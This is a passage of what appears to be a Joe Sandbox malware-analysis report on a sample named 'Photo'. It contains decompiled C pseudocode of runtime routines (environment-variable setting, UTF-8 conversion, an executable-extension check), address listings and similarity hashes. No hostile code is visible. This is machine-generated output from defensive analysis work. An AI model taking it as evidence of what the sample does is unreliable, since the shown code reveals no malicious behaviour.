																							_t221 = _t221 | 0xffffffff;
																							__eflags = _t221;
																							 *_t186 = 0x2a;
																						}
																						goto L85;
																					}
																				}
																			}
																		}
																	}
																} else {
																	_t191 =  *0x20a0cc; // 0x78e478
																	__eflags = _a4 - _t221;
																	if(_a4 == _t221) {
																		L58:
																		__eflags = _t246;
																		if(_t246 != 0) {
																			goto L56;
																		} else {
																			__eflags = _t191;
																			if(_t191 != 0) {
																				L62:
																				 *0x20a0d0 = E001E0A4F(_t246, 1, 4);
																				E001E092A(_t221);
																				_t323 = _t323 + 0xc;
																				goto L63;
																			} else {
																				 *0x20a0cc = E001E0A4F(_t246, 1, 4);
																				E001E092A(_t221);
																				_t323 = _t323 + 0xc;
																				__eflags =  *0x20a0cc - _t221; // 0x78e478
																				if(__eflags == 0) {
																					goto L55;
																				} else {
																					_t303 =  *0x20a0d0; // 0x78fc08
																					__eflags = _t303;
																					if(_t303 != 0) {
																						goto L64;
																					} else {
																						goto L62;
																					}
																				}
																			}
																		}
																	} else {
																		__eflags = _t191;
																		if(_t191 == 0) {
																			goto L58;
																		} else {
																			_t196 = L001DFEE7(_t221);
																			__eflags = _t196;
																			if(_t196 != 0) {
																				L63:
																				_t303 =  *0x20a0d0; // 0x78fc08
																				__eflags = _t303;
																				if(_t303 == 0) {
																					L55:
																					_t221 = _t220 | 0xffffffff;
																					__eflags = _t221;
																					L56:
																					E001E092A(_t289);
																					_t136 = _t221;
																					goto L57;
																				} else {
																					goto L64;
																				}
																			} else {
																				goto L54;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t197 = E001DCB3C();
														 *_t197 = 0x16;
														_t136 = _t197 | 0xffffffff;
														L57:
														return _t136;
													}
												} else {
													_t280 = _v16 + 1 + _t301 - _a4;
													asm("sbb eax, eax");
													 *(_t280 - 1) = _t218;
													_t204 = SetEnvironmentVariableA(_t301,  !( ~(_v5 & 0x000000ff)) & _t280);
													__eflags = _t204;
													if(_t204 == 0) {
														_t205 = E001DCB3C();
														_t218 = _t218 | 0xffffffff;
														__eflags = _t218;
														 *_t205 = 0x2a;
													}
													goto L42;
												}
											}
										}
									}
								}
							} else {
								__eflags = _a8;
								if(_a8 == 0) {
									L14:
									__eflags = _t120;
									if(_t120 == 0) {
										 *0x20a0cc = E001E0A4F(_t231, 1, 4);
										E001E092A(_t218);
										_t299 =  *0x20a0cc; // 0x78e478
										_t321 = _t321 + 0xc;
										__eflags = _t299;
										if(_t299 == 0) {
											goto L11;
										} else {
											__eflags =  *0x20a0d0 - _t218; // 0x78fc08
											if(__eflags != 0) {
												goto L20;
											} else {
												 *0x20a0d0 = E001E0A4F(_t231, 1, 4);
												E001E092A(_t218);
												_t321 = _t321 + 0xc;
												__eflags =  *0x20a0d0 - _t218; // 0x78fc08
												if(__eflags == 0) {
													goto L11;
												} else {
													goto L19;
												}
											}
										}
									} else {
										_t218 = 0;
										goto L12;
									}
								} else {
									__eflags =  *0x20a0d0 - _t218; // 0x78fc08
									if(__eflags == 0) {
										goto L14;
									} else {
										_t214 = L001DFEE2(0, _t283);
										__eflags = _t214;
										if(_t214 != 0) {
											L19:
											_t299 =  *0x20a0cc; // 0x78e478
											L20:
											__eflags = _t299;
											if(_t299 == 0) {
												L11:
												_t218 = _t217 | 0xffffffff;
												__eflags = _t218;
												L12:
												E001E092A(_t287);
												_t119 = _t218;
												goto L13;
											} else {
												goto L21;
											}
										} else {
											goto L10;
										}
									}
								}
							}
						}
					}
				} else {
					_t215 = E001DCB3C();
					 *_t215 = 0x16;
					_t119 = _t215 | 0xffffffff;
					L13:
					return _t119;
				}
				L130:
			}

0x001e62ca
0x001e62d3
0x001e62d8
0x001e62ef
0x001e62f1
0x001e62f6
0x001e62fa
0x001e62fb
0x001e62fd
0x001e634d
0x001e6352
0x00000000
0x001e62ff
0x001e62ff
0x001e6301
0x00000000
0x001e6303
0x001e6303
0x001e6307
0x001e630d
0x001e6310
0x001e6313
0x001e6319
0x001e631c
0x001e6321
0x001e6323
0x001e6326
0x001e6327
0x001e6327
0x001e632d
0x001e632f
0x001e6331
0x001e63c5
0x001e63c8
0x001e63ca
0x001e63cc
0x001e63cd
0x001e63ce
0x001e63d3
0x001e63d8
0x001e63da
0x001e6424
0x001e6424
0x001e6427
0x00000000
0x001e642d
0x001e642d
0x001e642f
0x001e6432
0x001e6432
0x001e6435
0x001e6437
0x00000000
0x001e643d
0x001e643d
0x001e6443
0x00000000
0x001e6449
0x001e6449
0x001e644b
0x001e6453
0x001e6455
0x001e645a
0x001e645d
0x001e645f
0x00000000
0x001e6465
0x001e6465
0x001e6468
0x001e646a
0x001e646d
0x001e6470
0x00000000
0x001e6470
0x001e645f
0x001e6443
0x001e6437
0x001e63dc
0x001e63dc
0x001e63de
0x00000000
0x001e63e0
0x001e63e3
0x001e63e9
0x001e63ec
0x001e63ef
0x001e6403
0x001e6403
0x001e6406
0x00000000
0x00000000
0x001e63ff
0x001e6402
0x001e6402
0x001e6402
0x001e6408
0x001e640a
0x001e6412
0x001e6414
0x001e6419
0x001e641c
0x001e641e
0x001e6420
0x001e6474
0x001e6474
0x001e6474
0x001e63f1
0x001e63f1
0x001e63f4
0x001e63f6
0x001e63f6
0x001e647a
0x001e647d
0x00000000
0x001e6483
0x001e6483
0x001e6485
0x001e6488
0x001e6488
0x001e648a
0x001e648b
0x001e648b
0x001e6497
0x001e649f
0x001e64a2
0x001e64a3
0x001e64a5
0x001e64ee
0x001e64ef
0x00000000
0x001e64a7
0x001e64ae
0x001e64b3
0x001e64b6
0x001e64b8
0x001e64fa
0x001e64fb
0x001e64fc
0x001e64fd
0x001e64fe
0x001e64ff
0x001e6504
0x001e6508
0x001e650a
0x001e650d
0x001e650e
0x001e6511
0x001e6513
0x001e6525
0x001e6526
0x001e6527
0x001e652a
0x001e652c
0x001e6531
0x001e6535
0x001e6536
0x001e6538
0x001e6589
0x001e658e
0x00000000
0x001e653a
0x001e653a
0x001e653c
0x00000000
0x001e653e
0x001e653e
0x001e6544
0x001e6546
0x001e654a
0x001e654d
0x001e6550
0x001e6556
0x001e6558
0x001e6559
0x001e655f
0x001e6562
0x001e6564
0x001e6564
0x001e656a
0x001e656c
0x001e65f9
0x001e6604
0x001e6607
0x001e660c
0x001e6611
0x001e6613
0x001e665d
0x001e665d
0x001e6660
0x00000000
0x001e6666
0x001e6666
0x001e6668
0x001e666b
0x001e666b
0x001e666e
0x001e6670
0x00000000
0x001e6676
0x001e6676
0x001e667c
0x00000000
0x001e6682
0x001e6682
0x001e6684
0x001e668c
0x001e668e
0x001e6693
0x001e6696
0x001e6698
0x00000000
0x001e669e
0x001e669e
0x001e66a1
0x001e66a3
0x001e66a6
0x001e66a9
0x00000000
0x001e66a9
0x001e6698
0x001e667c
0x001e6670
0x001e6615
0x001e6615
0x001e6617
0x00000000
0x001e6619
0x001e661c
0x001e6622
0x001e6625
0x001e6628
0x001e663c
0x001e663c
0x001e663f
0x00000000
0x00000000
0x001e6638
0x001e663b
0x001e663b
0x001e663b
0x001e6641
0x001e6643
0x001e664b
0x001e664d
0x001e6652
0x001e6655
0x001e6657
0x001e6659
0x001e66ad
0x001e66ad
0x001e66ad
0x001e662a
0x001e662a
0x001e662d
0x001e662f
0x001e662f
0x001e66b3
0x001e66b6
0x00000000
0x001e66bc
0x001e66bc
0x001e66be
0x001e66be
0x001e66c1
0x001e66c1
0x001e66c4
0x001e66c7
0x001e66c7
0x001e66d2
0x001e66d6
0x001e66de
0x001e66e1
0x001e66e2
0x001e66e4
0x001e672b
0x001e672c
0x00000000
0x001e66e6
0x001e66ee
0x001e66f3
0x001e66f6
0x001e66f8
0x001e6737
0x001e6738
0x001e6739
0x001e673a
0x001e673b
0x001e673c
0x001e6741
0x001e6744
0x001e6745
0x001e6748
0x001e6749
0x001e674c
0x001e674e
0x001e6757
0x001e6759
0x001e675b
0x001e675d
0x001e675f
0x001e675f
0x001e6762
0x001e6763
0x001e6763
0x001e675f
0x001e6769
0x001e6774
0x001e6777
0x001e6778
0x001e677a
0x001e67e1
0x001e67e1
0x00000000
0x001e677c
0x001e677c
0x001e677f
0x001e67d1
0x001e67d3
0x001e67d9
0x00000000
0x001e6781
0x001e6781
0x001e6784
0x001e6784
0x001e6786
0x001e6786
0x001e6788
0x001e6788
0x001e678b
0x001e678b
0x001e678d
0x001e678e
0x001e678e
0x001e6792
0x001e6796
0x001e679a
0x001e67a4
0x001e67a7
0x001e67ac
0x001e67af
0x001e67b3
0x00000000
0x001e67b5
0x001e67bd
0x001e67c2
0x001e67c5
0x001e67c7
0x001e67e6
0x001e67e8
0x001e67e9
0x001e67ea
0x001e67eb
0x001e67ec
0x001e67ed
0x001e67f2
0x001e67f5
0x001e67f6
0x001e67f8
0x001e67f9
0x001e67fa
0x001e67fb
0x001e67fe
0x001e6800
0x001e6809
0x001e680a
0x001e680c
0x001e680e
0x001e6810
0x001e6813
0x001e6814
0x001e6816
0x001e6818
0x001e6818
0x001e681b
0x001e681c
0x001e681c
0x001e6818
0x001e6820
0x001e682b
0x001e682f
0x001e6831
0x001e689f
0x001e689f
0x00000000
0x001e6833
0x001e6833
0x001e6835
0x001e688f
0x001e6890
0x001e6896
0x00000000
0x001e6837
0x001e6839
0x001e6839
0x001e683b
0x001e683b
0x001e683d
0x001e683d
0x001e6840
0x001e6840
0x001e6843
0x001e6846
0x001e6846
0x001e6852
0x001e6856
0x001e685e
0x001e6864
0x001e6869
0x001e686c
0x001e6870
0x00000000
0x001e6872
0x001e687a
0x001e687f
0x001e6882
0x001e6884
0x001e68a4
0x001e68a6
0x001e68a7
0x001e68a8
0x001e68a9
0x001e68aa
0x001e68ab
0x001e68b0
0x001e68b3
0x001e68b6
0x001e68b7
0x001e68b8
0x001e68b9
0x001e68bf
0x001e68c1
0x001e68c4
0x001e68f0
0x001e68f0
0x001e68f0
0x001e68f5
0x001e68c6
0x001e68c6
0x001e68c9
0x001e68cf
0x001e68d4
0x001e68d7
0x001e68d9
0x00000000
0x001e68db
0x001e68dd
0x001e68e0
0x001e68e2
0x001e68fe
0x001e6900
0x001e68e4
0x001e68e4
0x001e68e6
0x00000000
0x00000000
0x00000000
0x00000000
0x001e68e6
0x001e68e2
0x00000000
0x001e68e8
0x001e68e8
0x001e68eb
0x001e68eb
0x00000000
0x001e68c9
0x001e68f7
0x001e68fd
0x00000000
0x00000000
0x00000000
0x001e6884
0x00000000
0x001e6886
0x001e6886
0x001e6889
0x001e6889
0x001e688d
0x001e688d
0x00000000
0x001e688d
0x001e6835
0x001e6802
0x001e6802
0x001e689a
0x001e689e
0x001e689e
0x00000000
0x00000000
0x00000000
0x001e67c7
0x00000000
0x001e67c9
0x001e67c9
0x001e67cc
0x001e67cc
0x00000000
0x001e67d0
0x001e677f
0x001e6750
0x001e6750
0x001e67dc
0x001e67e0
0x001e67e0
0x001e66fa
0x001e66fe
0x001e6701
0x001e670b
0x001e6713
0x001e6719
0x001e671b
0x001e671d
0x001e6722
0x001e6722
0x001e6725
0x001e6725
0x00000000
0x001e671b
0x001e66f8
0x001e66e4
0x001e66b6
0x001e6617
0x001e6572
0x001e6572
0x001e6577
0x001e657a
0x001e65a7
0x001e65a7
0x001e65a9
0x00000000
0x001e65ab
0x001e65ab
0x001e65ad
0x001e65d8
0x001e65e2
0x001e65e7
0x001e65ec
0x00000000
0x001e65af
0x001e65b9
0x001e65be
0x001e65c3
0x001e65c6
0x001e65cc
0x00000000
0x001e65ce
0x001e65ce
0x001e65d4
0x001e65d6
0x00000000
0x00000000
0x00000000
0x00000000
0x001e65d6
0x001e65cc
0x001e65ad
0x001e657c
0x001e657c
0x001e657e
0x00000000
0x001e6580
0x001e6580
0x001e6585
0x001e6587
0x001e65ef
0x001e65ef
0x001e65f5
0x001e65f7
0x001e6594
0x001e6594
0x001e6594
0x001e6597
0x001e6598
0x001e659f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x001e6587
0x001e657e
0x001e657a
0x001e656c
0x001e653c
0x001e6515
0x001e6515
0x001e651a
0x001e6520
0x001e65a2
0x001e65a6
0x001e65a6
0x001e64ba
0x001e64c3
0x001e64cb
0x001e64cf
0x001e64d6
0x001e64dc
0x001e64de
0x001e64e0
0x001e64e5
0x001e64e5
0x001e64e8
0x001e64e8
0x00000000
0x001e64de
0x001e64b8
0x001e64a5
0x001e647d
0x001e63de
0x001e6337
0x001e6337
0x001e633a
0x001e636b
0x001e636b
0x001e636d
0x001e637d
0x001e6382
0x001e6387
0x001e638d
0x001e6390
0x001e6392
0x00000000
0x001e6394
0x001e6394
0x001e639a
0x00000000
0x001e639c
0x001e63a6
0x001e63ab
0x001e63b0
0x001e63b3
0x001e63b9
0x00000000
0x00000000
0x00000000
0x00000000
0x001e63b9
0x001e639a
0x001e636f
0x001e636f
0x00000000
0x001e636f
0x001e633c
0x001e633c
0x001e6342
0x00000000
0x001e6344
0x001e6344
0x001e6349
0x001e634b
0x001e63bb
0x001e63bb
0x001e63c1
0x001e63c1
0x001e63c3
0x001e6358
0x001e6358
0x001e6358
0x001e635b
0x001e635c
0x001e6363
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x001e634b
0x001e6342
0x001e633a
0x001e6331
0x001e6301
0x001e62da
0x001e62da
0x001e62df
0x001e62e5
0x001e6366
0x001e636a
0x001e636a
0x00000000

APIs

___from_strstr_to_strchr.LIBCMT ref: 001E62F1
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 001E64D6
_wcschr.LIBVCRUNTIME ref: 001E652C
SetEnvironmentVariableW.KERNEL32(00000000,?,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001E6713

Strings

xx, xrefs: 001E6307, 001E6327, 001E637D, 001E6387, 001E63BB, 001E6474, 001E6572, 001E65B9, 001E65C6

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: EnvironmentVariable$___from_strstr_to_strchr_wcschr
String ID: xx
API String ID: 2974328433-1076600235
Opcode ID: f00656a87374780f9dddeed9887072cacc84d70d22fb1c41bf4210b0907c33c4
Instruction ID: 5f0f58db75eb04f8e85c1e7b90e012b31aa0ee94fe0bb0a6ded3bea5407265f8
Opcode Fuzzy Hash: f00656a87374780f9dddeed9887072cacc84d70d22fb1c41bf4210b0907c33c4
Instruction Fuzzy Hash: 24D17C72900B84AFDB25AF76AC41B6D7BA4AF35790F84426DF90D97282EB319D408750

Uniqueness

Uniqueness Score: -1.00%

Function 001E534B Relevance: 9.1, APIs: 6, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E001E534B(char* _a4, short* _a8) {
				int _v8;
				void* __ecx;
				short* _t10;
				short* _t14;
				int _t15;
				short* _t16;
				void* _t26;
				int _t27;
				void* _t29;
				short* _t35;
				short* _t39;
				short* _t40;

				_push(_t29);
				if(_a4 != 0) {
					_t39 = _a8;
					__eflags = _t39;
					if(__eflags != 0) {
						_push(_t26);
						E001E35A5(_t29, __eflags);
						asm("sbb ebx, ebx");
						_t35 = 0;
						_t27 = _t26 + 1;
						 *_t39 = 0;
						_t10 = MultiByteToWideChar(_t27, 0, _a4, 0xffffffff, 0, 0);
						_v8 = _t10;
						__eflags = _t10;
						if(_t10 != 0) {
							_t40 = E001E0964(_t29, _t10 + _t10);
							__eflags = _t40;
							if(_t40 != 0) {
								_t15 = MultiByteToWideChar(_t27, 0, _a4, 0xffffffff, _t40, _v8);
								__eflags = _t15;
								if(_t15 != 0) {
									_t16 = _t40;
									_t40 = 0;
									_t35 = 1;
									__eflags = 1;
									 *_a8 = _t16;
								} else {
									E001DCB06(GetLastError());
								}
							}
							E001E092A(_t40);
							_t14 = _t35;
						} else {
							E001DCB06(GetLastError());
							_t14 = 0;
						}
					} else {
						 *((intOrPtr*)(E001DCB3C())) = 0x16;
						E001E1691();
						_t14 = 0;
					}
					return _t14;
				}
				 *((intOrPtr*)(E001DCB3C())) = 0x16;
				E001E1691();
				return 0;
			}

0x001e5350
0x001e5355
0x001e536f
0x001e5372
0x001e5374
0x001e538d
0x001e538f
0x001e5396
0x001e5398
0x001e53a1
0x001e53a2
0x001e53a6
0x001e53ac
0x001e53af
0x001e53b1
0x001e53cb
0x001e53ce
0x001e53d0
0x001e53dd
0x001e53e3
0x001e53e5
0x001e53f9
0x001e53fb
0x001e53ff
0x001e53ff
0x001e5400
0x001e53e7
0x001e53ee
0x001e53f3
0x001e53e5
0x001e5403
0x001e5408
0x001e53b3
0x001e53ba
0x001e53bf
0x001e53bf
0x001e5376
0x001e537b
0x001e5381
0x001e5386
0x001e5386
0x00000000
0x001e540d
0x001e535c
0x001e5362
0x00000000

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f06878b7e9cd26a650657abe82c19b281380e8cfd463f46a7d2844bcb527fdd
Instruction ID: 8cdb5bee4f06ebeea8cd68334669605482f1bda40ab79667c8070a8f71cf6b23
Opcode Fuzzy Hash: 2f06878b7e9cd26a650657abe82c19b281380e8cfd463f46a7d2844bcb527fdd
Instruction Fuzzy Hash: 78112432504A55BFDB216FB39C05E7F3B69EF957B4B204615F805C7281EB708881D2A0

Uniqueness

Uniqueness Score: -1.00%

Function 001D49D0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E001D49D0(void* __ecx, void* __edx, void* __eflags, char* _a4, intOrPtr _a8) {
				short* _v4;
				int _v8;
				void* __ebx;
				char** _t18;
				intOrPtr _t21;
				short* _t22;
				int _t23;
				char* _t28;
				char* _t30;
				void* _t33;
				signed int _t34;
				char** _t35;
				signed int _t36;
				char** _t37;
				int* _t39;
				int* _t40;

				_t33 = __edx;
				_t30 = _a4;
				_push(4);
				_push( &(_t30[1]));
				_t18 = E001DD57E(__ecx);
				_t39 =  &(( &_v8)[2]);
				_t34 = 0;
				_t37 = _t18;
				if(_t30 <= 0) {
					L13:
					_t37[_t30] = 0;
					return _t37;
				} else {
					_t35 = _t37;
					_t21 = _a8 - _t37;
					_a8 = _t21;
					while(1) {
						_t22 =  *(_t21 + _t35);
						_v4 = _t22;
						_t23 = WideCharToMultiByte(0xfde9, 0, _t22, 0xffffffff, 0, 0, 0, 0);
						_v8 = _t23;
						if(_t23 == 0) {
							break;
						}
						_t8 = _t23 + 1; // 0x1
						_push(1);
						_push(_t8);
						_t28 = E001DD57E(_t8);
						_t39 =  &(_t39[2]);
						_t30 = _t28;
						if(WideCharToMultiByte(0xfde9, 0, _v4, 0xffffffff, _t30, _v8, 0, 0) == 0) {
							_push("Failed to encode wchar_t as UTF-8.\n");
							L9:
							_push("WideCharToMultiByte");
							E001D1900(_t30, _t33);
							 *_t35 = 0;
							_t40 =  &(_t39[2]);
							goto L10;
						} else {
							 *_t35 = _t30;
							if(_t30 == 0) {
								L10:
								_t36 = 0;
								if(_t34 >= 0) {
									do {
										L001D9956(_t37[_t36]);
										_t36 = _t36 + 1;
										_t40 =  &(_t40[1]);
									} while (_t36 <= _t34);
								}
								L001D9956(_t37);
								return 0;
							} else {
								_t30 = _a4;
								_t34 = _t34 + 1;
								_t35 =  &(_t35[1]);
								if(_t34 >= _t30) {
									goto L13;
								} else {
									_t21 = _a8;
									continue;
								}
							}
						}
						goto L14;
					}
					_push("Failed to get UTF-8 buffer size.\n");
					goto L9;
				}
				L14:
			}

0x001d49d0
0x001d49d4
0x001d49de
0x001d49e0
0x001d49e1
0x001d49e6
0x001d49e9
0x001d49eb
0x001d49ef
0x001d4abb
0x001d4abb
0x001d4aca
0x001d49f5
0x001d49f9
0x001d49fb
0x001d49fd
0x001d4a01
0x001d4a01
0x001d4a16
0x001d4a1a
0x001d4a20
0x001d4a26
0x00000000
0x00000000
0x001d4a28
0x001d4a2b
0x001d4a2d
0x001d4a2e
0x001d4a33
0x001d4a36
0x001d4a56
0x001d4a70
0x001d4a7c
0x001d4a7c
0x001d4a81
0x001d4a86
0x001d4a8c
0x00000000
0x001d4a58
0x001d4a58
0x001d4a5c
0x001d4a8f
0x001d4a8f
0x001d4a93
0x001d4a95
0x001d4a99
0x001d4a9e
0x001d4a9f
0x001d4aa2
0x001d4a95
0x001d4aa7
0x001d4ab8
0x001d4a5e
0x001d4a5e
0x001d4a62
0x001d4a63
0x001d4a68
0x00000000
0x001d4a6a
0x001d4a6a
0x00000000
0x001d4a6a
0x001d4a68
0x001d4a5c
0x00000000
0x001d4a56
0x001d4a77
0x00000000
0x001d4a77
0x00000000

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 001D4A1A
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 001D4A4E

Strings

Failed to get UTF-8 buffer size., xrefs: 001D4A77
Failed to encode wchar_t as UTF-8., xrefs: 001D4A70
WideCharToMultiByte, xrefs: 001D4A7C

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$WideCharToMultiByte
API String ID: 626452242-164604372
Opcode ID: 46da1e6c672acd8a098842b3ded2473c1cc9fd2ed4c293271b2fe3f20a291a77
Instruction ID: 0825673cd2b9665ac5ae2fe1b9b207f2bd627287f2233251258878146fdde4a1
Opcode Fuzzy Hash: 46da1e6c672acd8a098842b3ded2473c1cc9fd2ed4c293271b2fe3f20a291a77
Instruction Fuzzy Hash: 62218E717803027BD720AF98AC82F6777D4AB54751F10063AFF4A973C1E772E8088655

Uniqueness

Uniqueness Score: -1.00%

Function 001D4C50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E001D4C50(void* __ebx, char* _a4, short* _a8, int _a12) {
				char* _t12;
				void* _t16;
				void* _t17;
				int _t18;
				char* _t19;
				void* _t20;

				_t15 = __ebx;
				_t19 = _a4;
				if(_t19 != 0) {
					_t18 = _a12;
					goto L5;
				} else {
					_t18 = WideCharToMultiByte(0xfde9, _t19, _a8, 0xffffffff, _t19, _t19, _t19, _t19);
					if(_t18 != 0) {
						_t3 = _t18 + 1; // 0x1
						_push(1);
						_t12 = E001DD57E(_t16);
						_t20 = _t20 + 8;
						_t19 = _t12;
						L5:
						if(WideCharToMultiByte(0xfde9, 0, _a8, 0xffffffff, _t19, _t18, 0, 0) != 0) {
							return _t19;
						} else {
							_push("Failed to encode wchar_t as UTF-8.\n");
							_push("WideCharToMultiByte");
							E001D1900(_t15, _t17);
							return 0;
						}
					} else {
						_push("Failed to get UTF-8 buffer size.\n");
						_push("WideCharToMultiByte");
						E001D1900(__ebx, _t17);
						return 0;
					}
				}
			}

0x001d4c50
0x001d4c51
0x001d4c58
0x001d4c9f
0x00000000
0x001d4c5a
0x001d4c70
0x001d4c74
0x001d4c8d
0x001d4c90
0x001d4c93
0x001d4c98
0x001d4c9b
0x001d4ca3
0x001d4cbe
0x001d4cdb
0x001d4cc0
0x001d4cc0
0x001d4cc5
0x001d4cca
0x001d4cd6
0x001d4cd6
0x001d4c76
0x001d4c76
0x001d4c7b
0x001d4c80
0x001d4c8c
0x001d4c8c
0x001d4c74

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00001000,00001000,000000FF,00001000,00001000,00001000,00001000,-00000002,?,001D485C,00208A68,00001000,00001000), ref: 001D4C6A

Part of subcall function 001D1900: GetLastError.KERNEL32(?,?), ref: 001D191E

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00001000,?,00000000,00000000,-00000002,?,001D485C,00208A68,00001000,00001000), ref: 001D4CB6

Strings

Failed to get UTF-8 buffer size., xrefs: 001D4C76
Failed to encode wchar_t as UTF-8., xrefs: 001D4CC0
WideCharToMultiByte, xrefs: 001D4C7B, 001D4CC5

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$WideCharToMultiByte
API String ID: 1717984340-164604372
Opcode ID: 5f609d3d21eb5136df0f25198a6899c6ea77896109840aff27642fe5aa48b95d
Instruction ID: 9531d4a41186b8e08a5239f28cb82f24db39cc71a78bc58d83c126d736d5b926
Opcode Fuzzy Hash: 5f609d3d21eb5136df0f25198a6899c6ea77896109840aff27642fe5aa48b95d
Instruction Fuzzy Hash: 8801F73775A32173C72035A67C06FA77A988BD5BF6F150322F70CA62C0D761980082B1

Uniqueness

Uniqueness Score: -1.00%

Function 001DD2C0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E001DD2C0(void* __ebx, void* __edi, intOrPtr _a4) {
				void* __esi;
				void* _t4;

				_t21 = __edi;
				_t10 = __ebx;
				if(_a4 != 0) {
					_t23 = E001EF465(_a4, 0x2e);
					if(_t3 == 0 || E001E51D6(__ebx, __edi, _t23, _t23, L".exe") != 0 && E001E51D6(__ebx, __edi, _t23, _t23, L".cmd") != 0 && E001E51D6(_t10, _t21, _t23, _t23, L".bat") != 0 && E001E51D6(_t10, _t21, _t23, _t23, L".com") != 0) {
						_t4 = 0;
					} else {
						_t4 = 1;
					}
					return _t4;
				} else {
					return 0;
				}
			}

0x001dd2c0
0x001dd2c0
0x001dd2c9
0x001dd2da
0x001dd2e0
0x001dd326
0x001dd32a
0x001dd32a
0x001dd32a
0x001dd32e
0x001dd2cb
0x001dd2ce
0x001dd2ce

APIs

_wcsrchr.LIBVCRUNTIME ref: 001DD2D5

Strings

.exe, xrefs: 001DD2E2
.bat, xrefs: 001DD304
.cmd, xrefs: 001DD2F3
.com, xrefs: 001DD315

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: fa734f561967f82be55d09531b41fd5e45046c8c04f6227c1d9ff960358bfb9c
Instruction ID: d83505df2b573d2b081e518988d0dcec950663590f99cbf958512523ab9d02f0
Opcode Fuzzy Hash: fa734f561967f82be55d09531b41fd5e45046c8c04f6227c1d9ff960358bfb9c
Instruction Fuzzy Hash: ECF0F632549F56369B34252ABC43BAF1B88BF227B1B300017F80855AC1EF41D981C199

Uniqueness

Uniqueness Score: -1.00%

